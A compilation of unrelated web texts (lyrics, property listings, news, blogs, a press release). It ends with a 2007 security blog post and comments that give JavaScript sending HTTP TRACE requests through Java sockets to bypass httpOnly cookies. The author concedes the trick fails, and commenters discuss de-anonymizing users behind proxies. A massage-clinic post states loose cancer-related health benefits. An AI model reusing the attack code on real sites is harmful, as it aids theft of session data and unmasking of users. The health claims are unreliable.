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text: Artist: Dame Grease f/ DMX, Big Stan, and Meeno Album: Live On Lenox (Soundtrack) Song: The Future Typed by: email@example.com [Meeno] They got my back to the wall Nobody to turn to, nobody I can trust I used to have friends But all I could think about was hustlin That was then, this is now And this is how I must be A loose cannon, with a cannon Nobody can trust me When half the world is sayin "Fuck Me" The other half will fear me Shit both halves will make one whole But nothing can dare those cowards to come near me Yeah they hear me, but fuck that I want them cats to feel me Cuz to feel me, is to know I'll be a problem till they kill me It's from sun-up to sun-down Got my gun up, and I'ma run down On any ass coward that feelin that I can't get down I'm a nightmare, the nigga that's always right there Borderline, with two lines, a little too heavy to fight fair Unload, reload, cock back, and pop that And drag to where your top at And guaranteed that I dropped that You can't top that I'm here to put them rumors to rest Fuck the past Fuck the present I'm the future in the flesh [Chorus x2] I'm the chrome before the storm I'm the buzz before the storm I'm the screech before the crash I'm the click before the blast I'm the rise before the fall I'm the loss before the gain Vacant Lot will keep it hot Cuz we the future of this game [Big Stan] Coke game to sober We takin rap over Either roll with us or you gettin rolled over But pardon, niggaz is too hard for your squadron Evacuate the buildin, save all the women and children No way around it, niggaz comin in thousands M17s, grenades, and four-pounders All you grimmy niggaz get the fuck from round us Y'all the same cock-housers from the blocks to gouchers Celebratin is the the feelin when I catch a fake vilian Send him brick style in the ceilin of an abandonded building Feel me? y'all got to, I'm the voice of theory My advice? keep rappin you ain't no where near me Spillin blood for the dead, God bless them dearly And look straight to the heavens so I know that He hear me My shit fluxuate from the drop seven, to the wide bodied eight Up on in corner, with the sweeper I let the body gate [Chorus x2] [DMX] When I do niggaz, it's how I do niggaz And two niggaz got nothin for me When they saw me looked the other way and tried to ignore me I put holes, like foot holes, in niggaz buttholes Stomp a mudhole, when I cut hoes, the fuckin blood flows That was bustin niggaz wide, I was 10 when I died Now I'm walkin dead with the infared by my side Keepin niggaz in line like a parade Then they scatter like roaches when they get sprayed with Raid Like a grenade, playin with spades is the plan Now what part of suck my dick don't you understand? Better act like you know or get smacked like your hoe When you straped, toe to toe, but can't strap with the flow And I gets down for mine, with the crime And if I gots to do time, fuck it I don't mind I handle my business and I shoot snitches Cuz I know nowadays niggaz is more ass than loose bitches It's all good, I'm still out Knock on wood, robbin niggaz like my last name is Hood Cuz I could, go with that mob that goes out to rob That mad scheme to get cream without the job I house more niggaz than a shelter And if a nigga ever felt a, heltah skeltah It'd would melt away, cuz the pain is too much to bear Let the dead be dark while the Dark is here [Chorus till fade]

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Top 5 Bridgehampton Homes for $5 Million
Bridgehampton is a great place to live. It is home to the Hampton Classic Horse Show, incredible beaches, restaurants like Bobby Van's, World Pie and Pierre's, and some great shopping. Below are the Top 5 Homes you can buy there for less than $5 million.
Bridgehampton Lanes with Tennis, $4,995,000
Brand new to market! A 6-bedroom, 6.5-bath traditional with modern flair, located on prized Mitchell's Lane. Double-height living room offers two-story views across a beautifully landscaped 1.5-acre property and 32-acre reserve beyond. Back yard features heated Gunite pool, pool house and sunken Har-Tru tennis court with north-south orientation.
Jobs Lane Traditional, Walk to the Ocean, $4,950,000
Elegant 5-bedroom Bridgehampton traditional with 4.5 baths, heated pool, central air on 1.2 landscaped acres. Very special property with house set way off the road for total quiet relaxation!
Bridgehampton Waterfront Investment Opportunity,$4,950,000
Builder-owned solidly built and custom designed home enjoys exclusive access to Kellis Pond with private frontage and a private dock for canoeing, kayaking and fishing. This 6-bedroom, 8-bath beautiful traditional shingle-style home lies within a gated community south of the highway in Bridgehampton and boasts wraparound porches and a floor plan for four-season living. No detail has been overlooked in this custom home, including the stunning kitchen which has all the bells and whistles for the owner chef creations. The layout lends itself to weekend and year round entertaining. The master suite has a fireplace, private balconies and big sky views to the south. A walk-out finished lower level provides all the extra room you could ever need and all three floors are conveniently accessible via the elevator.
Beautiful Bridgehampton South Traditional With 146 Feet of Waterfront, $4,895,000
With 146 feet of water frontage, this south of the highway Bridgehampton traditional is in a league of its own. With 7,000 square feet of living space that does a wonderful job of highlighting a spectacular water view, you will not be disappointed. The scenic pool hosts a spa and waterfall, and the upstairs bar and deck provide the perfect entertainment scenario.
Beautiful 3,500-square-foot, 5-bedroom, 4.5-bath traditional on 1.5 acres. Living room with fireplace, chef's kitchen, central air, full basement, 2-car garage and room for pool. Situated on one of Bridgehampton's premier lanes, all on a farm reserve.


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Vogelstein, who is also an investigator with the Howard Hughes Medical Institute, explained how he and Tomasetti have refined that question. He notes that every time a perfectly normal cell divides, it makes several mistakes when it copies its DNA. These are naturally occurring mutations.The study is behind a paywall. The journal has this editorial comment:
Most of the time, those mutations are in unimportant bits of DNA. That's good luck. "But occasionally they occur in a cancer driver gene. That's bad luck," Vogelstein says.
After two or three of these driver genes get mutated in the same cell, they can transform that healthy cell into a cancer cell.
In their new paper in Science, the researchers set out to quantify how often those random errors are an inevitable part of cell division, how often they're caused by nasty chemicals like tobacco smoke and how often they're inherited.
The answer: 66 percent of the total mutations are random, about 29 percent are due to the environment and the remaining five percent are due to heredity.
These numbers vary depending on the type of cancer, they found.
Lung cancer is largely the result of environmental causes, while the vast majority of childhood cancer is a result of these bad-luck mutations, they found.
It is a human trait to search for explanations for catastrophic events and rule out mere "chance" or "bad luck." When it comes to human cancer, the issue of natural causes versus bad luck was raised by Tomasetti and Vogelstein about 2 years ago (1). Their study, which was widely misinterpreted as saying that most cancers are due neither to genetic inheritance nor environmental factors but simply bad luck, sparked controversy. To date, a few hundred papers have been written in response, including (2–6), with some [e.g., (2)] coming to opposite conclusions. What is this controversy about? Tomasetti and Vogelstein concluded that 65% of the differences in the risk of certain cancers is linked to stem cell divisions in the various cancerous tissues examined (1). On page 1330 of this issue, Tomasetti et al. (7) provide further evidence that this is not specific to the United States.The research is interesting, but I question whether it makes any sense to say that something is "caused by luck".
What percentage of coin tosses are caused by classical mechanics, and what by luck?
What percentage of car accidents are caused by bad luck?
A lot of researchers have dropped the word "accident" just because of the dubious implication that no one is at fault, or that bad luck is the cause, or that nothing could have been done to prevent it.
Luck is usually a euphemism for unknown cause.
Here, luck is a euphemism for quantum mechanics. The researchers are trying to say that most cancers are caused by quantum mechanics. That sounds silly because quantum mechanics is the cause of all chemical reactions, so one could say that on the atomic level, quantum mechanics explains all cancers and biochemical processes and everything else.
There is a belief that quantum mechanics is grounded in some underlying quantum weirdness that will never be understood by humans. That quantum weirdness is causing the mutations, and hence the cancers. Other cancers can be understood at some higher level, such as cigarette smoking causing lung cancer.
In other words, we say the cell-division mutation cancers are caused by bad luck because they are caused by a quantum weirdness that will never be understood.


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Watch Sammy Hagar, Don Felder and Pat Benatar Perform at the Acoustic 4 A Cure Benefit
The fourth annual Acoustic 4 A Cure benefit took place at San Francisco's Fillmore Auditorium on May 15, with event co-founder Sammy Hagar once again leading an all-star lineup through an evening of unplugged performances for a good cause.
As previously reported, Hagar's fellow co-founder James Hetfield was forced to bow out of this year's edition due to a long list of concert commitments with Metallica, but the 2017 Acoustic 4 A Cure lineup still managed to pack plenty of firepower. Hagar, leading off the evening with a four-song set that included new song "Father Time" as well as a cover of Depeche Mode's "Personal Jesus" and a rendition of Van Halen's "Right Now" (the latter of which you can check out above), paved the way for a roster that included appearances from Bob Weir, Don Felder, Mick Fleetwood, Pat Benatar and Foo Fighters Dave Grohl and Taylor Hawkins, among others.
While a number of the night's performers took the opportunity to perform acoustic versions of their biggest hits — such as Felder and Benatar, who can be seen playing "Tequila Sunrise" and "Heartbreaker" below — others debuted new material. According to USA Today, Grohl and Hawkins prefaced their performance of a song titled "The Sky Is a Neighborhood" by telling the crowd, "We've never played this before to anybody." The stars also mingled, with Hagar joining Weir for a duet on "Loose Lucy," Fleetwood holding down the drums for multiple acts and Steve Vai joining Felder on "Hotel California."
"In some ways, getting this show together is one of the most stressful things I do," Hagar said of the benefit, which raises money for cancer research at UCSF Benioff Children's Hospital. "But in many other ways, it's always the highlight of my life."
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I am very pleased and honoured to have been featured in the July 2012 issue of Romantic Homes magazine.
When Beth Livesay contacted me back in February and asked if she could feature my blog in the magazine, I couldn't believe she meant my blog!
You see, when I began blogging three and a half years ago, it was to fill a void in my life. I had been a church secretary and had loved creating bulletins and writing short stories for them.
When my hubby and I finished our pastorate there, I really missed the writing and creativity.
So, I decided to create a blog and hopefully it would be a place where my children who live off Island, could pop in once in a while and see what their mom was up to.
I never dreamed my little blog would attract such attention!
I have learned so much from others and met so many lovely friends here in Blogland that it has virtually changed my life. I even started my own virtual Tea Party and I'm having a lot of fun doing it!
Thank you Beth Livesay and Romantic Homes for your wonderful magazine feature. I am truly honoured to be featured among so many other talented people!
And thank you to all of you, my dear bloggy friends. You encourage and inspire me every day with your visits and lovely comments.
Most of all, I want to thank my biggest fans, my hubby and my family, that means you too, Auntie P. God bless you all!
Sharing from my heart~ Sandi


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Press Releases
Press Release #10-053
Seth Solomonow/Scott Gastel (212) 839-4850
NYC DOT, NYPD Announce New Initiatives To Improve Safety for Pedestrians, Motorists And Cyclists
Increased enforcement against motorist and cyclist infractions, new anti-speeding ad campaign and safety redesign for 71st Street and Amsterdam Avenue
Efforts build on release of NYC Pedestrian Safety Study & Action Plan
New York City Department of Transportation (DOT) Commissioner Janette Sadik-Khan and Police Commissioner Raymond W. Kelly today announced new initiatives in the City's unprecedented safety campaign for pedestrians, motorists and cyclists through enhanced enforcement, safety engineering and the launch of a new ads to raise awareness of the city's 30 m.p.h. speed limit and the dangers of excessive speed. NYPD recently received a Governor's Traffic Safety Committee (GTSC) grant of $150,000 in federal funds for increased enforcement against motorist speeding and failure to yield to pedestrians in crosswalks, as well as against cyclists who violate traffic laws. The initiatives build on this summer's release of the landmark NYC Pedestrian Safety Study & Action Plan and come after the safest year recorded in a century on the city's streets. Officials made the announcement joined by City Council Transportation Committee Chair James Vacca and Councilmember Gale Brewer at 71st Street and Amsterdam Avenue, where DOT unveiled new pedestrian countdown signals and plans for a safety redesign at the location.
"The speed limit in New York City is 30 miles per hour, and it's 30 for a reason," said Commissioner Sadik-Khan. "Even 10 miles per hour too fast can mean the difference between life and death. As we make our safe streets even safer for everyone uses them, every New Yorker needs to follow all the rules of the road whether in a car, on foot or on a bike."
"While New York City has an enviable safety record, there's always room for improvement," said Commissioner Kelly. "Through a combination of education, enforcement and common courtesy, we think we can do even better in protecting pedestrians who are put at risk by motorists and bicyclists alike."
DOT's recent Pedestrian Safety Study & Action Plan found that driver failure to yield was cited in 27 percent of fatal pedestrian crashes while pedestrian-vehicle crashes involving unsafe speeds are twiceas deadly as other crashes. The GTSC grant provides $150,000 for increased NYPD enforcement against these infractions, as well as against bicyclists who disobey traffic laws by biking on the sidewalk, riding against red signals or riding the wrong way down city streets.
DOT's research also shows that two-thirds of New Yorkers are uncertain what the City's standard speed limit is, and nearly 7 in 10 New Yorkers say that speeding is a safety problem in the city. To raise awareness of the speed limit and highlight the danger of excessive speed, DOT has created an advertising campaign of humorous, yet pointed, television ads and radio as well as more hard-hitting public billboards. GTSC is providing in-kind support for the radio ads. The ads drive home the message that the speed limit is 30 for a reason: If a pedestrian is hit by a car traveling 40 m.p.h. or faster, there's a 70% chance that a struck pedestrian will be killed; At 30 m.p.h., there's an 80% chance that the pedestrian will live. The campaign can be viewed at www.nyc.gov/dot or www.youtube.com/nycdot. DOT is also developing a series of public service announcements targeting cyclists ride on the sidewalk, ride against traffic or fail to yield to pedestrians.
"As Chair of GTSC I am pleased to be supporting this important initiative aimed at increasing roadway safety," said Commissioner David J. Swarts of the DMV. "Utilizing education, enforcement and engineering we are making City streets safer for everyone."
"Speeding is public enemy number one for motorists and pedestrians alike," said Councilmember Vacca. "I get calls from citizens constantly who tell me that what they see on the streets every day frightens them, and we as a City have a responsibility to make sure that thousands of motorists understand that when we say 'stop speeding,' we're talking to them. Believe me, this latest campaign by DOT and NYPD will come as welcome news to communities across the five boroughs."
"I applaud the efforts of the Mayor and the Department of Transportation to address pedestrian safety," said Councilmember Brewer. "No Administration has worked harder to creatively address the concerns of the myriad of stakeholders who use our streets and sidewalks."
"We treat over 600 patients each year who have been struck by automobiles. While many others die at the scene of the accident, those that come to us are often the lucky ones," said Dr. Ronald Simon, Director of Trauma and Surgical Critical Care, Bellevue Hospital/NYU Medical center. "They were able to get out of the way or were struck by a car traveling at slower speeds so they sustained less severe injuries. The less lucky ones are often struck by vehicles moving at higher speeds. Speeding and inattention can lead to life-altering crashes not just for the person struck, but also their families and even the driver, but they are preventable if drivers and pedestrians take care."
DOT's installation of countdown pedestrian signals at 71st Street and Amsterdam and Broadway is the first in a series of safety makeover elements for this notorious location. DOT is currently working with the community on a proposed redesign to extend curbs, islands and medians, shorten crossing distances and encourage vehicles to make safer turns through the crosswalks. Since August's announcement, pedestrian countdown signals have also been installed at 20 other priority intersections in all five boroughs.
The announcement builds on findings in the New York City Pedestrian Safety Study & Action Plan, released last month with Mayor Michael R. Bloomberg. Last year saw the fewest traffic fatalities in New York City's recorded history and the Pedestrian Safety Study and Action Plan affirmed that New York City is the nation's safest big city and is getting safer as DOT moves toward the goal of reducing traffic fatalities by 50 percent by 2030, compared to 2007 statistics. The study examined eight years of data from 2002 through 2009 that showed that serious crashes in the city occurred overwhelmingly along high-traffic corridors, not at specific intersections. The data supports previous studies that have led to the launch of ambitious safety initiatives targeting seniors, schoolchildren and congested corridors citywide.
Some of the key findings in the report include:
- Pedestrian fatalities in 2009 were down nearly 20 percent from 2001.
- In the event of a crash, pedestrians are 10 times more likely to die than a motor vehicle occupant.
- Pedestrians accounted for 52 percent of traffic fatalities from 2005-2009.
- Driver inattention was cited in 36 percent of crashes resulting in pedestrians killed or seriously injured.
- Serious pedestrian crashes are about two-thirds deadlier on major street corridors than on smaller local streets.
- Male drivers are involved in 80 percent of crashes that kill or seriously injure pedestrians.
- Private vehicles – not taxis, trucks or buses – are involved in 79 percent of crashes that kill or seriously injure pedestrians.
- Manhattan has four times as many pedestrians killed or severely injured per mile of street compared to the other four boroughs.
- Pedestrians killed in Manhattan lived in other boroughs or outside New York City 43 percent of the time.
In addition to installing countdown pedestrian signals at 1,500 intersections, other major actions detailed in the Pedestrian Safety Study and Action Plan are:
- A pilot program to test the safety performance of neighborhood 20 m.p.h zones: Neighborhood 20 m.p.h. zones will be implemented to slow traffic on an area-wide, rather than individual street, basis. Projects will be developed in collaboration with local communities and at least one pilot project will be implemented in 2011.
- Re-engineering 60 miles of streets per year for greater pedestrian safety, according to corridor crash data: Using a corridor ranking system, DOT will identify and address safety issues with intensive redesigns on a minimum of 60 miles per year of these streets.
- Re-engineering 20 intersections for pedestrian safety on major Manhattan two-way streets: High-crash, high-volume intersections of the Manhattan avenues with major cross town two-way streets, such as Canal Street, 57th Street and 125th Street, will be examined individually and solutions will be tailored to local conditions.
- Implement pilot program to improve visibility at left turns along avenues in Manhattan: Daylighting – the removal of curbside parking spaces at the approach to an intersection – will be implemented at all left turn approaches on major Manhattan avenues with high rates of left-turn pedestrian crashes. The removal of parking increases pedestrian visibility and reduces turning-vehicle pedestrian crashes. The complete Pedestrian Safety Study and Action Plan report can be found at www.nyc.gov.


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Nobody should ever go through life alone. Companionship, support and intimacy are what make life enjoyable and truly extraordinary. We are committed to helping our members meet and connect with their special someone. Love is the greatest feeling in the world regardless of your age! Our passion to help others find love is at the heart of our business.
We make extraordinary efforts to find and recruit great Kansas Singles clients. By recruiting exceptional members we provide an exceptional opportunity for local singles to meet in a safe and encouraging environment. We are dedicated to having a diverse, constantly growing, local membership.
We always keep in mind that we are nothing without our clients. Our success is directly tied to our ability to solve client problems with inventive solutions that provide real value. We constantly strive to anticipate their rapidly changing needs and to develop new services to satisfy those needs. Ultimately, we know that if we serve our clients well, our own success will follow.
Improving the lives of others is something that really motivates us. Whether it's helping a client meet someone new or just talking to a member about some of the little problems that may be tripping up their dating success, we take great pride in making a difference. We know that little things can mean a lot and derive enormous pleasure in helping our members reach their relationship goals. We are a caring group of people who work daily to positively impact the lives of our members.
We believe in treating people right — the way we want to be treated. Mutual respect, honesty and integrity are at the heart of our business. We respect our members and potential clients. We strive to maintain a high ethical standard in everything we do. To some this seems like an old cliché, but to us it makes perfect sense.


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I am finally getting back into the swing of life – – so I love seeing all your projects and adding to my to-do list — here's some things that caught my eye…
House Made Home did a great job with an update via molding – – love it!
Sumo (who I met at SNAP – she's great! I have been following her blog FOREVER) has a cute ruffled shorts tutorial – check it out at Sumo's Sweet Stuff:
You can see this picket fence shelf over at House Pretty:
I really really love the fabric on these curtains over at Polka Dots and Paisley – love it!!
Scattered Thoughts of a Crafty Mom made this cute dress – I really need to sew with knit more!
What a fun dessert – edible flowers and dirt cake – mmm – see it over at Back for Seconds:
Love this clothespin wall art – my laundry room needs this! These exact colors – love it! see it at Burton Avenue:
The Scrap Shoppe shows how to turn buttons into dangle earrings – the dangle is what makes it tricky, but she walks you right through it…
Anna did a great job taking a vintage dress and turning it into a prom dress – see the details at The View From In Here:
I met the Letter 4 girls at SNAP and next time I am calling them every morning and making them do my hair. They came up with some cute DIY photo props:
Cute quilts times 4 over at Grits and Giggles – love them!
Home Grown Beanes talks about these onion rings – – mmmmm….
so – – let's cut to the chase – – most viewed link……
by a HUGE margin – – the prom dress from The View From In Here that I featured earlier – – congrats!!
Thanks for linking everyone!! If you were featured feel free to grab the button: (oh, and if you were featured on FB, or if you're featured later this afternoon, you're included – grab away!!)


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October is National Breast Cancer Awareness Month, and as supporters and promoters of all-around wellness, we're big advocates of this cause. It's no doubt that effects of any cancer diagnosis and treatment can cause serious emotional and physical strain that harshly lessen the quality of life in those enduring it.
There are medications meant to directly fight the disease, but what about the depression that can follow a diagnosis? Or the pain that coincides with much of the treatments involved?
That's where we come in. Alternative medicine can serve as an astoundingly beneficial mind, body and soul wellness resource for cancer patients, and massage therapy is one of the most relaxing forms around.
Massage Benefits for Oncological Relief
- Massage can lower anxiety levels, pain and fatigue in just about anyone, but these benefits are especially valuable in easing the battle with cancer. Research has even shown that massage therapy can actually reduce the need for pain medication for patients. And, another study focusing on women with stages I and II breast cancer, massage was shown to:
- Decrease depression
- Increase protective white blood cells
- Raise levels of dopamine–a natural hormone that aids in a feeling of well-being (this stuff literally makes you feel happy!)
This study was also reported on here by the national, non-profit online community, BreastCancer.org.
Things to Know
Every LaVida Massage session begins with a five-minute consultation in which you should tell your therapist about your condition, treatments and symptoms. It's also important that you specifically request a therapist who is properly educated in oncology massage therapy, so as to ensure the proper protocols for treatment in each stage of cancer.
And, always talk to your oncologist before seeking massage therapy or any additional alternative relief.


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Why Jim Morrison Refused to Sing the Original 'Touch Me'
The Doors frontman Jim Morrison refused to sing what became bandmate Robby Krieger's song "Touch Me" in its original form, fearing that it would lead to violence in the streets.
The track, which appeared on the band's fourth album, The Soft Parade, was released as a single in 1968 after having gone through some changes during the recording process, as keyboardist Ray Manzarek once told Uncle Joe Benson on the Ultimate Classic Rock Nights radio show.
"Robby wrote the song, and the song was originally called 'Hit Me' – 'Come on, come on, come on, hit me, babe,'" Manzarek, who passed away in 2013, said. "And Morrison said, 'No way am I going to sing a song saying 'Hit me.'" He said, "Robby, people are going to walk up to me in the street, and hit me! They're gonna go, 'Come on, come on, come on, hit me' and punch me!"
Krieger asked Morrison how he'd like the lyrics to be changed, and Manzarek recalled the singer saying: "Well, I don't want to be hit… I mean, if people are gonna do anything I want them to – wait a minute, I got it… I want 'em to touch me."
The Doors - 'Touch Me'
"Touch Me" went on to be another hit single for the Doors, and is remembered for featuring a wide range of additional instruments. "We had done three albums of the Doors, and John and I, being the jazzers, we always wanted to bring in some horns and strings," Manzarek said. "On 'Touch Me' is the great Los Angeles, Southern California jazz saxophone player, Curtis Amy, who does that fabulous solo at the end. So that's why we did it – jazz and classical, the Doors bring it all together, man!"
Be sure to listen to Ultimate Classic Rock Nights on more than 50 stations across the U.S. from 7PM until midnight, Monday through Friday. You can see the list of radio stations where it airs here.


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Suspicious Minds
Artist: Elvis Presley
Album: Top Ten Hits
Elvis Presley Top Ten Hits Suspicious Minds
(words & music by mark james)
We're caught in a trap
I can't walk out
Because i love you too much baby
Why can't you see
What you're doing to me
When you don't believe a word i say?
We can't go on together
With suspicious minds
And we can't build our dreams
On suspicious minds
So, if an old friend i know
Drops by to say hello
Would i still see suspicion in your eyes?
Here we go again
Asking where i've been
You can't see these tears are real
I'm crying
We can't go on together
With suspicious minds
And be can't build our dreams
On suspicious minds
Oh let our love survive
Or dry the tears from your eyes
Let's don't let a good thing die
When honey, you know
I've never lied to you
Mmm yeah, yeah
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Canadian police say at least 4 shot dead, including two officers; suspect in custody
FREDERICTON, New Brunswick (AP) - A shooting in a small Canadian city early Friday left four people dead, including two police officers, under circumstances that were not yet explained but struck a nerve in a country that has been roiled in recent months by several instances of mass violence.
People in Fredericton, the capital of New Brunswick in the eastern part of the country, said they heard as many as 20 gunshots following a confrontation that prompted police to initially cordon off a large section of the city with emergency vehicles and order residents to remain inside their homes and businesses.
Finally, after a tense period of waiting, authorities disclosed the toll: Among the four killed were two officers, a rare case of police killed in the line of duty in Canada. Their names were not released.
Authorities said one suspect was in custody and was being treated for serious injuries. The person's identity was not announced and no motive was disclosed. A news conference was planned for later Friday.
Several other victims were being treated at a regional hospital, but there were no immediate details on the nature of their injuries or their conditions.
"Our hearts are broken by the murder of our two brave police officers," Fredericton Mayor Mike O'Brien said in a tweet.
The entire province of New Brunswick had 11 homicides in 2016.
In Fredericton, a city of about 60,000 residents, people said they were stunned by the scene, which occurred as people were heading to work or dropping children at a day care center not far from the apartment complex where the shooting took place. "This is the first time I've even heard of any serious crime or violent crime in this city," said Travis Hrubeniuk, whose fiancee had just left their home when the sirens began.
Bill Henwood, a funeral director at York Funeral Home, whose business is located inside the cordoned off area on Brookside Drive, said people sat in their cars or were just standing near the blockade of police and fire vehicles "hanging tight and waiting for word" for news.
"It's not something that we expect in Fredericton to wake up and hear about," Henwood said. "To see that there's actually fatalities is pretty extraordinary for this area."
The shooting comes as Canada wrestles with a string of violence, including an instance in Toronto last month where a man with a handgun opened fire in a crowded part of the city, killing two people and wounding 13 before he either shot himself or was killed by police.
In April, a man who linked himself to a misogynistic online community used a van to run down pedestrians in a busy part of Toronto, killing 10 people and injuring 14.
Authorities are still pursuing leads in an ongoing investigation of a serial killer who has been charged with killing eight men in the city in recent years.
In 2014, a shooting in Moncton, New Brunswick left three Royal Canadian Mounted Police officers dead and two wounded.
Rob Gillies reported from Toronto.


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Hi~ I tried to amplify microbes' 16S rRNA gene from yoghurt sample, but I couldn't. For this, I treated plane yoghurt with ProteinaseK during 4hr and overnight at 37C. I found that almost proteins degraded when I centrifuged treated sample. I washed pellet twice with PBS and once with pure water. Finally, I added 1% Tween-80 solution and lysed cell by freeze and thaw lysis method(I evaluated this washing and lysis method before). Lysed sample was used directly to PCR. I couldn't found PCR product. To evaluate sample purity, I applied sample from yoghurt and pure culture(had used positive control) together to a PCR in a tube. No product. I think the sample from yoghurt contains some inhibitory materials. I don't know what material inhibits PCR. If you have some idea, could you help me? and... If you know how can you remove them, could you tell me that? Adios.. ---- Lab. of Genetic Engineering, Inha Univ., Inchon, South Korea. Youngmin Park bada at bigfoot.com ---- -----== Posted via Deja News, The Leader in Internet Discussion ==----- http://www.dejanews.com/ Now offering spam-free web-based newsreading


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Monday, April 30, 2007
XST sorta Lives! (Bypassing httpOnly)
var x = new ActiveXObject("Microsoft.XMLHTTP");
Update 1: Jordan and Wladimir Palant noticed it right away! (Wladimir) "Wait, last time I checked Java wasn't making HTTP requests through the browser. That means that neither cookies nor HTTP basic authorization will be visible in the response - only what you put in there yourself. Did that change?"
Apparently I made a very large oversight in my research. Wladimir and Jordan are absolutely right! Java handles the entire HTTP connection outside of the browser and hence does not send the cookies, headers, or anything else. So that data doesn't come back to be captured. Big mistake on my part. Can't believe I missed that! Very sorry. But I have another thought that I have to double check on....
> telnet foo.com 80
Trying 127.0.0.1...
Connected to foo.bar.
Escape character is '^]'.
Host: foo.bar
X-Header: test
Cookie: param=1
Server: Apache
Content-Type: message/http
Host: foo.bar
X-Header: test
Cookie: param=1
Please be mindful that the code is unstable and your results may vary due to browser support.
Approach 1 (Traditional Approach using earlier versions of jdk)
//Get the url on the browser's address bar
var l = document.location;
//Get the host name.
var host =l.host.toString();
//Set the port to 80. We can also determine the port from the location bar
var port = 80;
//Get the domain name of the host…check again
var addr = new java.net.InetAddress.getByName(host);
//Create a client socket to the server on the specified hostname and port
var socket = new java.net.Socket(addr,port);
//Open an output stream to send the request data to the server.
var wr = new java.io.BufferedWriter(newjava.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));
//Open an input stream to read the response data from the server.
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
//Send a trace request to the server.
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
//Flush the output stream so that there is no data left in the buffer.
//Read the response from the server until the readLine returns null which means the response is completed.
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
//Close the input and output stream
//Close the socket
In the traditional way (like the approach mentioned above), you'd now ask for the socket's input and/or output streams. The newer approach is using Channels. This approach is available with jdk1.4 or newer. With a channel you write directly to the channel itself. Rather than writing byte arrays, you read and write ByteBuffer objects. By default, this will read at least one byte or return -1 to indicate the end of the data, exactly as an InputStream does. It will often read more bytes if more bytes are available to be read.
Approach 2
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
//Create a SocketChannel
var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));
//Create a java string object so that it can be converted to byte array.
var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);
//Send the data to the server.
//Allocate a buffer to read the data from the server.
var buffer = java.nio.ByteBuffer.allocate(8000);
//Read the data from the server. If the data is more then the allocated bytes then this probably is not the best way. Use a different approach
alert(new java.lang.String(buffer.array()));
16 comments:
- Jordan said...
I'm a bit confused though -- if Java is doing the entire connection itself, then you're not really going to be able to get the cookies or the digest credentials are you?
If the browser doesn't get into it the process of sending the data, it doesn't send along httpOnly cookies, or other juicy bits that you'd want to get access to, and thus you'd never see them in the trace response, right?
I'm sure I'm missing something, but I don't see what yet? - April 30, 2007 at 3:45 PM
- Jeremiah Grossman said...
You didn't miss anything except the dolt who wrote the post. Argh!
- April 30, 2007 at 3:50 PM
- Jeremiah Grossman said...
Ok, so if this is the case, that Java handles the entire HTTP request outside the browser, does this mean we can potentially deanonymize browser proxies? I just proxied myself through Paros (HTTP Proxy 8080 preference), then used this method to send a request. Didn't touch the proxy.
- April 30, 2007 at 3:55 PM
- Anurag Agarwal said...
If you want to use a proxy server, you can specify it by its address. For example, this code fragment uses the SOCKS proxy server at myproxy.example.com to connect to the host login.ibiblio.org:
SocetAddress proxyAddress = new InetSocketAddress("myproxy.example.com", 1080);
Proxy proxy = new Proxy(Proxy.Type.SOCKS, proxyAddress)
Socket s = new Socket(proxy);
SocketAddress remote = new InetSocketAddress("login.ibiblio.org", 25);
s.connect(remote); - April 30, 2007 at 5:13 PM
- Jeremiah Grossman said...
Oh sure, you could use a proxy if you wanted to. What Im talking about here is trying to de-anonymize a user.
- April 30, 2007 at 5:21 PM
Yes, Java can be used as a de-anonymizer. Here is an example: http://algart.net/system/antianonymizetest.pl
More in-depth explanation is at http://webwarper.net/wwantianonymizerru.htm#wwaa (sorry, that's Russian but maybe the machine translation is readable). The whole concept was originally discussed here: http://xpoint.ru/forums/internet/theory/thread/33876.xhtml (yes, Russian again).
But Java has its own proxy settings (Control Panel / Java / Network Settings on Windows). The default is "use browser settings" - they probably read Internet Explorer settings for that. - April 30, 2007 at 5:49 PM
I just realized that there is an English version of the same document as well: http://webwarper.net/wwantianonymizer.htm#wwaa
- April 30, 2007 at 7:30 PM
- Jeremiah Grossman said...
And there it is, in plain english as it were. Thank Wladimir, good stuff. Another one of those things I don't think many people knew about, including myself.
- May 1, 2007 at 12:16 AM
- Jordan said...
So what tricks could this still be used for? It seems like all the usual attacks against the browser won't work since it's not handling the response, but that it would still be perfectly functional for cache poisoning attacks. No need to even use the trace option. Still have to deal with same-origin though.
Maybe that's the other attack still up your sleeve. ;-) - May 1, 2007 at 7:05 AM
- Jeremiah Grossman said...
Hey Jordan, the one attack that immediately came to mind, de-anonymizing, someone had already found that I didn't know about. What I have learned from the exchange though is that there is a lot I don't understand about Java's capabilities in the browser and how JS can interact with it. Along with you line of thinking, perhaps another way to launch a response splitting attack or something like that... I'll have to think a lot about this.
- May 1, 2007 at 7:09 AM
- kuza55 said...
I think Microsoft has just abandoned IE 6 SP2, and just concentrated all their efforts on IE 7, because other than that bug there is also a bug which allows you to view the set-cookie headers as well. And neither of those bugs worked in IE 7 when I tested them.....
- May 1, 2007 at 1:52 PM
Last week i visited you blog and it liked me. I found this post about using XST and javascript to obtain Basic, Dibgest credentials and bypass httponly cookie flag very interesting. I decided to do a proof of concept of your scripts. I done it with some changes but now i have a problem.
The TRACE request that makes the script is:
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
This request doesn´t includes Authorization parameters therefore neither the server response. I mean that if auth credentials headers is out of reach of javascript, we cannot include them in the TRACE request that we send to the server. In consecuence, the TRACE response from the server will not include these Auth parameters.
You say that "As an additional benefit of XST, attackers can gain access to Basic, Digest, and NTLM Auth credentials located in HTTP request headers and typically out of reach of JavaScript." ¿How can it be possible? Maybe i am wrong or i´m missing something.
Cheers - April 17, 2008 at 5:14 AM
- Jeremiah Grossman said...
Hmm, its possible they changed how the browser behaves with this trick. What distribution/version are you using for testing?
- April 18, 2008 at 1:26 AM
- Rafa Sánchez said...
Hi Jeremiah!
Thanks for the answer.
I obtain the TRACE server response including de "xst:test" parameter i use in the request but not the authenticaton parameters.
I proved (it´s a proof of concept) with Apache/2.2.3 and the client is Firefox 18.104.22.168.
This is the code with wich i achieved it (with workmate help out):
